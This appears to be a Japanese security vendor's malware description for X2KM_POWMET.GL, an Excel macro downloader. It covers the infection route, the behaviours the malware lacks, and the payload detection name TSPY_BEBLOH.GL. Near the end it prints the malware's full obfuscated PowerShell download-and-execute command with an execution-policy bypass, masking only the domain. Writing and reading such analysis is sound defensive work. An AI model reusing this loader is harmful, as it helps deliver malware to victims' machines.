X2KM_POWMET.GL

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}p.com/ego.exe

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Profile%\Documents\%appdata%.exe
  (where %appdata%.exe is a literal filename)
  Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.

トレンドマイクロの製品では、ダウンロードしたファイルを以下として検出します。

• TSPY_BEBLOH.GL

マルウェアは、ダウンロードしたファイルを実行します。

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Profile%\Documents\%appdata%.exe
  ※%appdata%.exe はファイル名です。%Application Data%フォルダではありません。
  (註：%User Profile% フォルダは、Windows 2000、XP および Server 2003 の場合では通常、"C:\Documents and Settings\＜ユーザ名＞"　で、Windows Vista および 7 の場合では "C:\Users\＜ユーザ名＞" です。)

その他

マルウェアは、以下の PowerShell を実行して不正なファイルをダウンロードし、実行します。

• pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='%ap';$uy='pdat';$ji='a%.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://{BLOCKED}p.com/ego.exe'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe);

エクセルファイルを開封すると、以下の画面が表示され、マクロ機能を有効にするよう誘導します。

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。